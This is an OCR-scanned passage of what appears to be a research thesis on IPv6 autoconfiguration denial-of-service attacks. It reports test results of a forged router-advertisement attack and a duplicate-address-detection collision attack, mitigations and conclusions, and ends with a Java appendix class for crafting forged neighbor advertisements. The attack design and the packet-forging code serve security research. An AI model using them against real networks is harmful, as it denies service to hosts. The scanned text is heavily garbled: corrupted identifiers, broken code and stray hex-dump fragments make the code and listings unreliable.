Ei  ICMPV6  options 

Type:  3  (Prefix  information) 
Length:  32  bytes  (4) 

Prefix  length:  64 
Ei  Fl  ags  :  OxcO 

valid  lifetime:  0x00000000 
Preferred  lifetime:  0x00000000 
Pref i x :  2000 : 0 : 0 : 6 : : 


0000 

■3  3 

33 

00 

00 

00 

01 

00 

04 

9a 
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11 
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Bln. 
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00 

02 

04 
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0020 

9a 

ff 

f  e 

c2 

4c 

n 

ff 

02 
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00 

00 

00 

00 

00 

00 

00 

.  L . 
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00 
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00 

01 
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fd 

a7 
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00 
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00 

00 

. ® . 
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00 
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Figure 
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capture 

of  the 

fake  Router 

Advertisement 
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The  routers'  link-local  addresses  do  not  show  up 
anymore  as  Default  Gateways  in  all  clients  as  the  Default 
Router  List  is  empty.  All  connectivity  tests  from  and  to 
hosts  of  the  lower  network  are  negative. 


Interface  4:  Ethernet:  Local  Area  Connection 
Guid  { BF8D972 8-8E8A-4BDB-8DAE-F6 9 62E7FBE4 9 } 
uses  Neighbor  Discovery 
uses  Router  Discovery 

link-layer  address:  00-12-3f-ad-f 2-b2 

deprecated  global  2000 : : 6 : ld05 : c477 : f 9bl : 2 9al ,  life  118ml8s/0s 
(temporary) 

deprecated  global  2000 : : 6 : 212 : 3f f f : fead: f2b2 ,  life  118ml8s/0s 
(public) 

deprecated  global  2006 : : ld05 : c477 : f 9bl : 29al ,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 : : c0b7 : ec : e7e0 : 50b4 ,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 : : 5f 9 : fa5e : e7cb : c67f ,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 :: 693d: edl9 : 9bd2 : 8d04 ,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 : : 808e : lc70 : a648 : a2d3,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 :: 494c :b292 : f529 : 31a7,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 :: dc23 : 25ff : 1427 : 7db8,  life  119m52s/0s 
(temporary) 

deprecated  global  2006 :: 212 : 3fff : fead: f2b2 ,  life  119m52s/0s 
(public) 

preferred  link-local  fe80 :: 212 : 3fff : fead: f2b2 ,  life  infinite 
multicast  interface-local  ff01::l,  1  refs,  not  reportable 
multicast  link-local  ff02::l,  1  refs,  not  reportable 

multicast  link-local  f f 02 : : 1 : f f ad : f 2b2 ,  3  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 27 : 7db8 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 2 9 : 31a7 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 48 : a2d3,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f d2 : 8d04 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f cb : c67f ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f feO : 50b4 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f fbl : 2 9al ,  2  refs,  last  reporter 

link  MTU  1500  (true  link  MTU  1500) 
current  hop  limit  64 

reachable  time  22000ms  (base  30000ms) 
retransmission  interval  1000ms 
DAD  transmits  1 

Figure  20.  Windows  Addresses  after  the  Router  Lifetime 

Decreaser  attack 
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All  global  addresses  appear  deprecated,  with  a  valid 
lifetime  of  two  hours  (as  expected) ,  but  connectivity  with 
global  addresses  between  Windows  clients  on-link  (the 
attacking  host  was  used  for  this  test)  is  not  affected. 
Windows  hosts  use  deprecated  addresses  to  exchange  neighbor 
discovery  messages  for  address  resolution  on-link. 

However,  Linux  clients  lost  connectivity  (using  global 
addresses)  even  with  neighbors.  The  result  of  the  empty 
Default  Router  List  combined  with  the  expired  preferred 
lifetime  of  all  prefixes  was  an  updated  Routing  Table  with 
no  entry  for  the  advertised  prefixes.  Linux  hosts  treated 
destinations  with  the  deprecated  prefix  as  unreachable. 
This  is  an  implementation  defect  in  Linux  with  respect  to 
the  IP  standard.  According  to  the  neighbor  discovery 
specification  [Narten98] ,  if  the  Default  Router  List  is 
empty,  the  sender  assumes  that  the  destination  is  on-link; 
and  if  the  Neighbor  Cache  doesn't  contain  a  corresponding 
entry.  Address  Resolution  is  initiated. 


fe80::/64  dev  ethO  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

fe80::/64  dev  ethl  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

ff00::/8  dev  ethO  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

ff00::/8  dev  ethl  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

unreachable  default  dev  lo  proto  none  metric  -1  error  -101  metric 
10  255 


Figure  21.  Routing  Table  of  Linux  host  after  the  Router 

Lifetime  Decreaser  attack 
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Testing  the  Router  Lifetime  Decreaser  without 
decreasing  the  Preferred  Prefix  did  not  affect  the  ability 
of  Linux  clients  to  communicate  with  other  hosts  using 
their  global  addresses,  as  there  was  an  entry  for  the 
advertised  prefixes  in  the  routing  table. 

Testing  the  program  by  zeroing  only  the  prefix 
lifetimes  did  not  affect  communications  at  all,  as 
expected . 

5 .  Threat  Mitigation 

IPv6  specification  proposes  that  authentication 
headers  should  be  incorporated  in  router  advertisement 
messages.  Further  studies  on  IPsec  authentication 
mechanisms  for  IPv6  bring  out  bootstrapping  and  scalability 
issues  of  IPsec  key  management  [Arkko05] . 

The  particular  attack  could  be  avoided  if  hosts  would 
ignore  successive  router  advertisements  from  the  same 
router  within  the  Minimum  Router  Advertisement  Interval. 
The  value  of  this  parameter  can't  be  less  than  three 
seconds  [Narten98],  yet  while  testing  the  attack,  hosts 
received  the  bogus  advertisement  within  fractions  of  a 
second  from  the  legitimate  one,  and  they  processed  it. 

C.  "DAD  COLLISION  GENERATOR"  ATTACK 

This  attack  attempts  to  deny  service  to  nodes  that 
enter  the  network  and  are  therefore  required  to  perform 
duplicate  address  detection  (DAD)  for  the  autoconf igured 
addresses  by  responding  to  all  DAD  detected.  This  threat 
was  identified  in  the  autoconfiguration  specification 
[Thomson98]  and  in  the  neighbor  discovery  threats 
informational  RFC  [Nikander04 ] . 
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1 .  Theoretical  Foundation  of  the  Attack 

This  attack  requires  that  the  attacker  is  able  to 
listen  to  traffic  destined  to  other  nodes  and  to  multicast 
traffic  for  multicast  groups  to  which  the  attacker  does  not 
belong.  If  this  is  the  case,  the  attacker  can  listen  to  the 
neighbor  solicitation  messages  that  originate  from  the 
unspecified  address  and  identify  those  messages  as  DAD 
procedure.  By  responding  to  all  of  those  messages  and 
indicating  that  the  target  address  is  taken  should  cause 
joining  hosts  to  be  unable  to  initialize  an  IPv6  address. 

This  Denial  of  Service  attack  is  a  potential  threat  in 
environments  where  not  all  nodes  are  trusted,  or  there 
exists  a  possibility  that  a  host  could  get  compromised. 

2 .  Design  and  Development  of  the  Attack  Tool 

The  software  tool  developed  to  implement  this  attack 
functions  in  three  stages. 

The  first  stage  is  network  sniffing,  in  promiscuous 
mode,  to  capture  the  datagrams  sent  to  perform  DAD.  Those 
are  network  solicitation  ICMPv6  messages  originating  from 
the  unspecified  address  ( :  : )  .  The  target  address  of  this 
message  is  stored,  as  this  will  be  used  as  the  source 
address  that  the  attacker  will  use  to  create  the  collision. 

The  second  stage  is  the  crafting  of  a  legitimate 
neighbor  advertisement  such  that  the  source  and  the  target 
addresses  are  equal  to  the  stored  target  address  from  the 
captured  neighbor  solicitation.  For  obvious  (to  the 
attacker)  reasons,  the  link-layer  address  that  is  provided 
in  this  neighbor  advertisement  is  a  randomly  generated  MAC 
address  that  is  very  carefully  manufactured,  though,  to 
simulate  a  legitimate  address  (limitations  in  the 
randomness  of  the  first  three  bytes  are  considered) . 
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Finally,  the  manufactured  fake  neighbor  advertisement 
is  properly  multicasted  according  to  the  neighbor  discovery 
specification.  Figures  22  &  23  illustrate  how  the  DAD 
collision  generator  terminates  the  autoconfiguration 
procedure . 


Derive  link-local  address: 
FE80::[interface  ID] 


Send  multicast  Neighbor 
Solicitation  wttti  Targat  Address 
set  to  derived  link-local  address. 


t  Yes  _ 

Stop  address 

autooonflguratlon. 

Figure  22.  DAD  Collision  Generator  forces  termination  of 
Link-Local  Address  Autoconfiguration  (after  Ref 

[Davies02 ] ) 
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Figure  23.  DAD  Collision  Generator  forces  termination  of 
Global  Address  Autoconfiguration  (after  Ref 

[Davies02 ] ) 

3 .  Available  Procedures  for  Attack  Effectiveness 
Testing 

The  direct  results  of  the  attack  should  be  displayed 
in  the  assigned  address  list  (no  assigned  addresses) .  The 
"ipv6  if"  command  for  Windows  and  the  "ip  -6  addr  show"  for 
Linux  should  be  enough  to  verify  success  of  the  attack. 

4 .  Results  of  the  Attack 

This  attack  was  tested  on  the  lower  network,  since  it 
provides  all  nodes  the  ability  to  sniff  all  on-link 
traffic . 

According  to  the  autoconfiguration  process  [Thomson98] 

DAD  should  be  performed  every  time  a  host  joins  a  network, 

or  when  one  of  its  interfaces  is  initialized.  Testing  was 

executed  either  by  disconnecting  and  reconnecting  the 
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Ethernet  cable,  or  by  running  commands  that  would  reset  the 
client's  interfaces;  that  is,  "ipv6  renew"  for  Windows,  and 
"ifconfig  [interface]  [down | up]"  for  Linux.  In  Figure  24, 
the  Ethereal  capture  shows  one  neighbor  solicitation  of  the 
initializing  interface,  and  Figure  25  shows  a  corresponding 
fake  neighbor  advertisement  from  the  attacking  host, 
implying  a  collision. 
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Figure  24.  Neighbor  Solicitation  for  DAD 
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Figure  25.  Fake  Neighbor  Advertisement  -  DAD  Collision 
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The  DAD  collision  generator  was  successful  for  all 
clients''  global  addresses.  The  Windows  client  was  not  able 
to  initialize  an  IPv6  (either  local  or  global)  address 
while  entering  the  network.  The  Linux  client  did  not 
perform  DAD  for  the  link-local  address,  thus  maintaining 
connectivity  on-link. 

5.  Threat  Mitigation. 

The  Internet  Engineering  Task  Force  has  proposed  the 
Secure  Neighbor  Discovery  Protocol  [Arkko05] ,  with  which 
Cryptographically  Generated  Addresses  are  used  to  make  sure 
that  the  sender  of  a  neighbor  discovery  message  is  the 
"owner"  of  the  claimed  address  [Aura05]  .  SEND  and  CGA  are, 
as  of  August  2006,  proposed  standards,  and  no 
implementation  was  found  for  the  operating  systems  of  the 
laboratory  test  bed. 

If  authentication  of  hosts  claiming  a  tentative 
address  can't  be  achieved,  stateful  autoconfiguration  with 
the  use  of  a  DHCPv6  server  could  protect  joining  nodes  from 
this  attack. 

The  following  chapter  summarizes  the  conclusions 
derived  from  the  results  of  the  two  DOS  attacks  to  the 
autoconfiguration  procedure,  and  proposes  future  work  in 
the  area  of  securing  this  new  IPv6  feature. 
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V. 


CONCLUSIONS  AND  FUTURE  WORK 


This  thesis  work  developed  an  extension  to  a  Java 
networking  library  in  order  to  provide  support  for  the 
crafting  and  capture  of  ICMPv6  neighbor  discovery  messages, 
and  implemented  two  conceptually  known  threats  to  the  IPv6 
host  autoconfiguration  process.  While  the  most  serious 
effects  of  the  attacks  were  anticipated,  a  couple  of 
compliance  defects  in  the  IPv6  implementation  for  Linux 
were  identified. 

A.  CONCLUSIONS 

The  major  findings  from  this  thesis  research  are: 

•  The  new  features  of  IPv6  autoconfiguration  are 

focused  on  user  convenience.  As  always,  there  is 
a  trade-off  between  convenience  and  security. 
Both  tested  DOS  attacks  were  successful.  IPv6 
autoconfiguration  in  environments  with  non¬ 

trustworthy  hosts  is  prone  to  attacks,  and  if 
host  authentication  cannot  be  achieved, 
transition  to  stateful  autoconfiguration  with  the 
use  of  trusted  DHCPv6  servers  should  be 

considered. 

•  The  new  specifications  present  authentication 
based  on  IPsec  as  the  solution  to  the  security 
threats.  Since  IPsec  key  management  does  not 
scale  well  in  public  networks  [Arko05] ,  other 
methods  of  authentication  need  to  be  developed 
and  tested. 

•  Besides  authentication,  an  IPv6  implementation 
could  incorporate  rules  that  abide  by  the 
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specification  which  would  protect  it  from 

potential  threats.  For  example,  the  Router 
Lifetime  Decreaser  attack  may  be  unsuccessful  if 
the  host  observed  a  rule  to  ignore  successive 
router  advertisements  originating  from  the  same 
router,  and  less  than  the  Minimum  Router 
Advertisement  Interval  (three  seconds  according 

to  the  IPv6  specification  [Narden98])  apart. 

•  Most  existing  IPv6  implementations  are  still 

intended  for  research  and  development  purposes . 
Even  commercial  operating  systems,  like  Microsoft 
Windows,  state  that  the  provided  IPv6  software 
contains  pre-release  code  and  must  not  to  be  used 
in  a  production  environment.  Therefore,  it  is  not 
surprising  that  two  compliance  defects  were 
identified  for  the  Linux  IPv6  stack  during  this 
limited  research;  Duplicate  Address  Detection  is 
not  performed  for  the  link-local  generated 

address  and  deprecated  network  identifiers  are 
removed  from  the  routing  cache.  It  could  be 
assumed  that  compliance  defects  exist  in  a  larger 
scale  compared  to  the  operational  IPv4,  and  there 
are  defects  that  are  not  yet  identified. 

B .  FUTURE  WORK 

An  extension  to  the  Jpcap  library  to  support  more  IPv6 
protocols  and  procedures  would  provide  Java  developers  more 
capabilities  in  low-level  network  programming  for 
evaluating  IPv6  security.  It  would  also  contribute  to  the 
study  of  the  behavior  of  various  IPv6  implementations  in 
non-trivial  situations.  Possible  incorporation  of  IPsec 
authentication  headers  in  environments  that  provide  open 
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source  support  of  IPsec  (KAME  project  for  BSD  variants, 
Linux  Kernel  2.5  and  later  among  others)  may  be  considered. 

The  implementation  of  all  identified  threats  to  the 
host  autoconfiguration  procedure,  and  to  other  IPv6 
introduced  features,  would  help  in  testing  the  efficiency 
of  the  proposed  solutions  for  threat  mitigation,  as  IPsec 
and  SeND. 
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APPENDIX  A.  CLASS  I CMP 6  JAVA  CODE 


package  ICMP6; 

import  j ava . net . Inet 6Address ; 
import  j  ava . net . UnknownHostException; 
import  jpcap . Networklnterf ace; 
import  jpcap . packet . DatalinkPacket ; 
import  jpcap . packet . Ethernet Packet ; 
import  jpcap . packet . Packet ; 
import  jpcap . JpcapSender; 

/* 

*  I CMP 6 . j  ava 

* 

*  This  Class  was  developed  to  support  the  implementation 

*  of  DOS  attacks  to  the  host  autoconfiguration  procedure 

*  in  IPv6.  It  supplements  the  Jpacp  library  and 

*  represents  an  ICMP  packet. 

* 

*  Developed  in  NetBeans  IDE  5.0 

*  Makes  use  of  Jpcap  0.5.1  library 

*  (http : //net research . ics . uci . edu/kfuj ii/ jpcap /doc /index . html) 

* 

*/ 

public  class  ICMP6  { 

/  *  * 

*  Starting  Byte  of  Link-layer  Header  "Destination  Address" 

*  field 
*/ 

public  static  final  short  LINK_DESTINATION_BYTE  =  0; 

/  *  * 

*  Starting  Byte  Link-layer  Header  "Source  Address"  field 

*  (the  field  length  is  6  bytes) 

*/ 

public  static  final  short  L INK_SOURCE_BYTE  =  6; 

/  *  * 

*  Byte  of  the  Link-layer  Header  "Packet  Type"  field 

*  (the  field  length  is  6  bytes) 

*/ 

public  static  final  short  PACKET_TYPE  =  12; 

/** 

*  Byte  of  the  Network-layer  Header  "Version  -  Priority" 

*  field 
*/ 

public  static  final  short  VERSION_PRIORITY_BYTE  =  0; 

/** 

*  Starting  Byte  of  the  Network-layer  Header  "Payload 

*  Length"  field  (field  is  two  bytes  long) 

*/ 
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4; 


public  static  final  short  PAYLOAD_LENGTH_BYTE  = 

/  *  * 

*  Byte  of  the  Network-layer  Header  "Next  Header"  field 
*/ 

public  static  final  short  NEXT_HEADER_BYTE  =  6; 

/  *  * 

*  Byte  of  the  Network-layer  Header  "Hop  Limit"  field 
*/ 

public  static  final  short  HOP_LIMIT_BYTE  =  7; 

/  *  * 

*  Starting  Byte  of  the  Network-layer  "Source  Address" 

*  field  (field  length  is  8  bytes) 

*/ 

public  static  final  short  SOURCE_BYTE  =  8; 

/  *  * 

*  Starting  Byte  of  the  Network-layer  "Destination 

*  Address"  field  (field  length  is  8  bytes) 

*/ 

public  static  final  short  DESTINATION_BYTE  =  24; 

/** 

*  Starting  Byte  of  Network-layer's  payload 
*/ 

public  static  final  short  PAYLOAD_BYTE  =  40; 

/** 

*  Byte  of  the  ICMP  Header  "ICMP  Type"  field 
*/ 

public  static  final  short  ICMP_TYPE_BYTE  =  40; 

/** 

*  Byte  of  the  ICMP  Header  "ICMP  Code"  field 
*/ 

public  static  final  short  ICMP_CODE_BYTE  =  41; 

/  *  * 

*  Starting  Byte  of  ICMP  Header  "ICMP  Checksum"  field 

*  (field  length  is  2  bytes) 

*/ 

public  static  final  short  ICMP_CHECKSUM_BYTE  =  42; 

/** 

*  Starting  Byte  of  the  ICMP  Body 
*/ 

public  static  final  short  ICMP_BODY_BYTE  =  44; 

/  *  * 

*  Byte  of  the  ICMP  Neighbor  Advertisement 

*  Flags  field 
*/ 

public  static  final  short  NA_FLAGS_BYTE  =  44; 

j  -k  -k 
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*  Starting  Byte  of  the  ICMP  Neighbor  Advertisement 

*  "Target  Address"  field  (field  length  is  8  bytes) 

*/ 

public  static  final  short  NA_TARGET_BYTE  =  48; 

/** 

*  Starting  Byte  of  the  ICMP  Neighbor  Advertisement 

*  Options  headers 
*/ 

public  static  final  short  NA_OPTIONS_BYTE  =  64; 

j  -k  -k 

*  Byte  of  the  ICMP  Router  Advertisement  "Autoconfiguration 

*  Flags"  fields 
*/ 

public  static  final  short  AUTO_CONF I G_FLAGS  =  45; 

/  *  * 

*  Byte  of  the  ICMP  Router  Advertisement  "Router  Lifetime" 

*  field 
*/ 

public  static  final  short  ROUTER_LIFETIME  =  46; 

/  *  * 

*  Byte  of  the  ICMP  Router  Advertisement  "Reachable  time" 

*  field  (field  length  4  bytes) 

*/ 

public  static  final  short  REACHABLE_T IME  =  48; 

/** 

*  Byte  of  the  ICMP  Router  Advertisement  "Retransmission 

*  Timer"  field 
*/ 

public  static  final  short  RE  TRAN  SMI SSI ON_T IMER  =  52; 

/  *  * 

*  Starting  Byte  of  the  ICMP  Router  Advertisement  Options 

*  Headers 
*/ 

public  static  final  short  RA_OPTIONS_BYTE  =  56; 

/  *  * 

*  ICMP  pseudo  header  length 
*/ 

public  static  final  short  ICMP_PSEUDO_LENGTH  =  40; 

/  *  * 

*  Minimum  Value  of  the  Network  Layer  Header 

*  "Version  Priority"  field  for  IPv6 
*/ 

public  static  final  int  VERSION_PRIORITY_MIN  =  96; 

/  *  * 

*  Value  of  the  Network  Layer  Header  "Next-Header" 

*  field  indicating  ICMPv6 
*/ 

public  static  final  int  NEXT_HE ADER_I CMP  = 
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58; 


/  *  * 

*  Value  of  ICMPv6  Type  for  "Echo  request"  message 
*/ 

public  static  final  short  ECHO_REQUEST  =  128; 

/  *  * 

*  Value  of  ICMPv6  Type  for  "Echo  reply"  message 
*/ 

public  static  final  short  ECHO_REPLY  =  129; 

j  -k  -k 

*  Value  of  ICMPv6  Type  for  "Echo  multicast  listener 

*  report"  message 
*/ 

public  static  final  short  MLR  =  131; 

/  *  * 

*  Value  of  ICMPv6  Type  for  "Router  Solicitation" 

*  message 
*/ 

public  static  final  short  RS  =  133; 

/  *  * 

*  Value  of  ICMPv6  Type  for  "Router  Advertisement" 

*  message 
*/ 

public  static  final  short  RA  =  134; 

/** 

*  Value  of  ICMPv6  Type  for  "Neighbor  Solicitation" 

*  message 
*/ 

public  static  final  short  NS  =  135; 

/  *  * 

*  Value  of  ICMPv6  Type  for  "Neighbor  Advertisement" 

*  message 
*/ 

public  static  final  short  NA  =  136; 

/  ** 

*  Value  of  ICMPv6  Type  for  "Redirect"  message 
*/ 

public  static  final  short  REDIRECT  =  137; 

/  *  * 

*  Value  of  the  ICMPv6  Option  Header  for  a 

*  "Source  Link  Layer  Address"  option 
*/ 

public  static  final  short  SOURCE_LINK_LAYER_ADDRESS  =  1 
/  *  * 

*  Value  of  the  ICMPv6  Option  Header  for  a 

*  "Target  Link  Layer  Address"  option 
*/ 

public  static  final  short  TARGE T_LINK_LAYER_ADDRESS  =  2 
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/  *  * 

*  Value  of  the  ICMPv6  Option  Header  for  a 

*  "Prefix  Information"  option 
*/ 

public  static  final  short  PREFIX_INFORMATION  =  3; 

/  *  * 

*  Value  of  the  ICMPv6  Option  Header  for  an 

*  "MTU"  option 
*/ 

public  static  final  short  MTU  =  5; 

/  *  * 

*  Byte  of  the  ICMPv6  Option  Header  "Option  Length"  field 

*  (byte  count  from  the  start  of  the  Option  Header) 

*/ 

public  static  final  short  OPTION_LENGTH_BYTE  =  1; 

/** 

*  Starting  Byte  of  the  ICMPv6  Option  "Link  Layer  Address" 

*  field  (field  length  6  Bytes  -  byte  count  from  the  start 

*  of  the  Option  Header) 

*/ 

public  static  final  short  OPTION_LINK_LAYER_ADDRESS  =  2; 

/  *  * 

*  Byte  of  the  Router  Advertisement  Prefix  Option 

*  "Prefix  Flags"  field  (byte  count  from  the  start  of  the 

*  Option) 

*/ 

public  static  final  short  PREFIX_FLAGS_BYTE  =  3  ; 

/  *  * 

*  Byte  of  the  Router  Advertisement  Prefix  Option  "Prefix 

*  Valid  Lifetime"  field  (byte  count  from  the  start  of  the 

*  Option) 

*/ 

public  static  final  short  PRE F I X_VAL I D_L I FE T I ME_B Y T E  =  4; 

/  *  * 

*  Byte  of  the  Router  Advertisement  Prefix  Option  "Prefix 

*  Preferred  Lifetime"  field  (byte  count  from  the  start  of  the 

*  Option) 

*/ 

public  static  final  short  PRE F I X_PRE FERRE D_L I FE T I ME_B Y T E  =  8; 

/  *  * 

*  Starting  Byte  of  the  Router  Advertisement  Prefix  Option  "Prefix" 

*  field  (byte  count  from  the  start  of  the  Option) 

*/ 

public  static  final  short  PREFIX_BYTE  =  16; 

/**  Data  Member  :  The  Jpcap . packet . Packet  object  */ 

Packet  p; 

/**  Converter  From  Packet  to  ICMP6  */ 
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public  ICMP6 (Packet  p)  { 
if  (  is ICMP 6 (p)  )  { 

this.p  =  p; 


} 

else  { 

System . out . println ( "Error ,  Not  an  ICMPv6  packet!”); 


} 


/  *  * 

*  Generator  of  various  ICMPv6  messages. 

*  Currently  only  the  Neighbor  Advertisement  is  implemented. 

*  Developper  must  provide  Link  Layer  Header,  Source, 

*  Destination  and  Target  Address,  Option  header's 

*  Target  Link  Layer  Address,  and  calculate  the  checksum. 

*  A  modification  of  the  Flags  (initialized  to  zeros)  may 

*  be  needed. 

* 

*  @param  type  the  type  of  ICMPv6  to  be  generated 

* 

*/ 

public  ICMP6 (short  type)  { 
switch  (type)  { 
case  NA  : 

this.p  =  new  Packet  (); 

//  standard  fields 
p . data  =  new  byte [72]; 

p . data [VERSION_PRIORITY_BYTE]  =  (byte)  0x60; 
for  (int  i=l;  i<4;  i++)  { 

p . data [ VERSION_PRIORITY_BYTE  +  i]  =  0; 

} 

p . data [ PAYLOAD_LENGTH_BYTE ]  =  0; 
p . data [ PAYLOAD_LENGTH_BYTE  +  1]  =  (byte)  32; 

p . data [NEXT_HEADER_BYTE]  =  (byte) 

NEXT_HEADER_ICMP; 

p . data [HOP_LIMIT_BYTE]  =  (byte)  Oxff; 
p . data [ ICMP_TYPE_BYTE]  =  (byte)  NA; 
p . data [ ICMP_CODE_BYTE]  =  0; 
for  (int  i=l;  i<4;  i++)  { 

p . data [NA_FLAGS_BYTE  +  i]  =  0; 

} 

p . data [NA_OPTIONS_BYTE]  =  TARGET_LINK_LAYER_ADDRESS ; 
p . data [NA_OPTIONS_BYTE  +  OPTION_LENGTH_BYTE ]  = 

(byte)  1;  //  8  bytes 

break; 

68 


} 


} 

/** 

*  This  method  checks  whether  a  Packet  is  an  ICMPv6 

* 

*  @param  p  the  Packet  to  be  checket 

*  ^return  true  if  the  Packet  is  ICMPv6 

* 

*/ 

public  static  boolean  isICMP6 (Packet  p)  { 
boolean  isICMPv6  =  false; 

if  (  p . data [VERSION_PRIORITY_BYTE]  >=  VERSION_PRIORITY_MIN  && 
p . data [NEXT_HEADER_BYTE ]  ==  NEXT_HE ADER_I CMP  )  { 

isICMPv6  =  true; 

} 

return  isICMPv6; 


/  *  * 

*  Returns  the  Link-Layer  source  address 

* 

*  ^return  the  Link  Layer  Source  address  as  a  byte  array 

* 

*/ 

public  byte [ ]  getLinkSourceAddress ( )  { 

byte [ ]  src  =  new  byte [6]; 
for  (int  i=0;  i<6;  iff)  { 

src [ i ]  =  p. header [LINK_SOURCE_BYTE  +  i] ; 

} 

return  src; 


/  *  * 

*  Returns  the  Link-Layer  destination  address 

* 

*  ^return  the  Link-Layer  Destination  address  as  a  byte  array 

* 

*/ 

public  byte [ ]  getLinkDestinationAddress ( )  { 

byte [ ]  dst  =  new  byte [6]; 
for  (int  i=0;  i<6;  i++)  { 
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dst [ i ]  =  p . header [LINK_DESTINATION_BYTE  +  i] ; 

} 

return  dst; 


/**  Returns  the  Type  of  the  ICMPv6 
* 

*  ^return  the  Type  of  the  ICMP 

* 

*/ 

public  int  getTypeO  { 

int  type  =  (int)  p . data [ ICMP_TYPE_BYTE ] ; 
if  (  type  <  0  )  type+=256; 

return  type; 


} 

/  *  * 

*  Returns  the  IPv6  source  address 

* 

*  ^return  The  IPv6  Source  Address  of  the  ICMPv6 

* 

*/ 

public  Inet6Address  getSourceAddress ( ) 

throws  UnknownHostException  { 

byte [ ]  sourceArray  =  new  byte [16]; 
for  (short  i=0;  i  <  16;  i++)  { 

sourceArray [ i ]  =  p . data [ SOURCE_BYTE+i ] ; 


} 

Inet6Address  sourceAddress  = 

( I net 6 Address )  I net 6 Address . getByAddress (sourceArray) 

return  sourceAddress; 


} 


/  *  * 

*  Returns  the  IPv6  Destination  Address  address 

* 

*  ^return  The  IPv6  Destination  Address 

* 

*/ 

public  Inet6Address  getDestinationAddress ( ) 

throws  UnknownHostException  { 


byte [ ]  dstArray  =  new  byte [16]; 
for  (short  i=0;  i  <  16;  i++)  { 
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dstArray [ i ]  =  p . data [ DESTINATION_BYTE+i ] ; 


} 

Inet6Address  dstAddress  = 

( Inet 6Address )  Inet6Address . getByAddress (dstArray) ; 
return  dstAddress; 


} 


/  *  * 

*  Returns  the  Target  Address  of  a  NA  or  NS 

* 

*  ^return  The  IPv6  Target  Address  of  the  NA  or  NS 

* 

*/ 

public  Inet6Address  getTargetAddress ( ) 

throws  UnknownHostException  { 


byte [ ]  tArray  =  new  byte [16]; 
for  (short  i=0;  i<16;  ill)  { 

tArray [i]  =  p . data [NA_TARGET_BYTE  +  i] ; 

} 

Inet6Address  tAddress  = 

( Inet 6 Address )  Inet 6 Address . getByAddress (tArray) 
return  tAddress; 


/  *  * 

*  Returns  the  checksum  of  the  ICMPv6 

* 

*  ^return  The  checksum  value  of  the  ICMPv6 

* 

*/ 

public  int  getChecksum ( )  { 

int  cks  =  (int)  p . data [ ICMP_CHECKSUM_BYTE ] ; 
return  cks; 


} 

/  *  * 

*  Sets  the  DataLink  Header  to  the  ICMPv6  packet 

* 

*  @param  dl  The  data-link  header 

* 

*/ 

public  void  setDataLink (DatalinkPacket  dl)  { 
p.datalink  =  dl; 
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/  *  * 

*  Sets  the  IPv6  Source  Address 

* 

*  @param  src  the  IPv6  Source  Address 

* 

*/ 

public  void  setSourceAddress ( Inet 6Address  src)  { 
for  (int  i=0;  i<l 6 ;  i++)  { 

p . data [ SOURCE_BYTE  +  i]  =  src . getAddress ( ) [i] ; 

} 


/  *  * 

*  Sets  the  IPv6  Destination  Address 

* 

*  @param  dst  the  IPv6  Destination  Address 

* 

*/ 

public  void  setDestinationAddress ( Inet 6Address  dst)  { 
for  (int  i=0;  i<16;  iff)  { 

p . data [ DESTINATION_BYTE  +  i]  =  dst . getAddress ()[ i ] ; 

} 


/  *  * 

*  Sets  the  ICMPv6  Type 

* 

*  @param  type  the  ICMPv6  Type 

* 

*  / 

public  void  setType(int  type)  { 

p . data [ ICMP_TYPE_BYTE ]  =  (byte)  type; 


/  *  * 

*  Sets  the  RA  Router  Lifetime 

* 

*  @param  routerLif etime  the  Router  Lifetime 

* 

*/ 

public  void  setRouterLif etime ( int  routerLif etime)  { 

p . data [ROUTER_LIFETIME ]  =  (byte)  ( routerLif etime  &  OxFFOO) 
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} 


p . data [ROUTER_LIFETIME  +  1]  = 

(byte)  ( routerLif etime  &  OxOOFF) 


/** 

*  Sets  the  NA  -  RA  solicited  Flag 

* 

*  @param  sol  if  True  the  Flag  (bit)  is  set  to  1 

* 

*/ 

public  void  setSolicited (boolean  sol)  { 


/ /  reset  2nd  bit  to  0 
p . data [ NA_FLAGS_BYTE ]  = 

(byte)  (p . data [NA_FLAGS_BYTE ]  &  Oxbf)  ; 

if  (sol)  { 

/ /  set  2nd  bit  to  1 


} 


p . data [ NA_FLAGS_BYTE ]  = 

(byte)  (p . data [NA_FLAGS_BYTE] 


0x40)  ; 


} 


/** 

*  Sets  the  NA  -  RA  override  Flag 

* 

*  Oparam  or  if  True  the  Flag  (bit)  is  set  to  1 

* 

*/ 

public  void  setOverride (boolean  or)  { 


/ /  reset  3nd  bit  to  0 
p . data [NA_FLAGS_BYTE]  = 

(byte)  (p . data [NA_FLAGS_BYTE ]  &  Oxdf)  ; 

if  (or)  { 

/ /  set  3nd  bit  to  1 


} 


p . data [ NA_FLAGS_BYTE ]  = 

(byte)  (p . data [NA_FLAGS_BYTE ]  |  0x20)  ; 


} 


/  *  * 

*  Sets  the  NS  -  NA  Target  Address 

* 

*  @param  adr  the  IPv6  Target  Address 

* 

*/ 

public  void  setTargetAddress ( Inet 6Address  adr) 
throws  UnknownHostException  { 
for  (short  I- 0 ;  i<l 6 ;  i++)  { 

p . data [NA_TARGET_BYTE  +  i]  =  adr . getAddress ( ) [ i ] ; 

} 
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} 


/** 

*  Sets  the  type  of  the  ICMPv6  Option  Header 

* 

*  @param  type  The  Option  Header  Type 

* 

*/ 

public  void  setOptionType ( int  type)  { 

p . data [NA_OPTIONS_BYTE ]  =  (byte)  type; 


/  *  * 

*  Sets  the  ICMPv6  Option  Header  Length 

* 

*  @param  bytes  the  Option  Length  in  units  of  Bytes 

* 

*/ 

public  void  setOptionLength (int  bytes)  { 

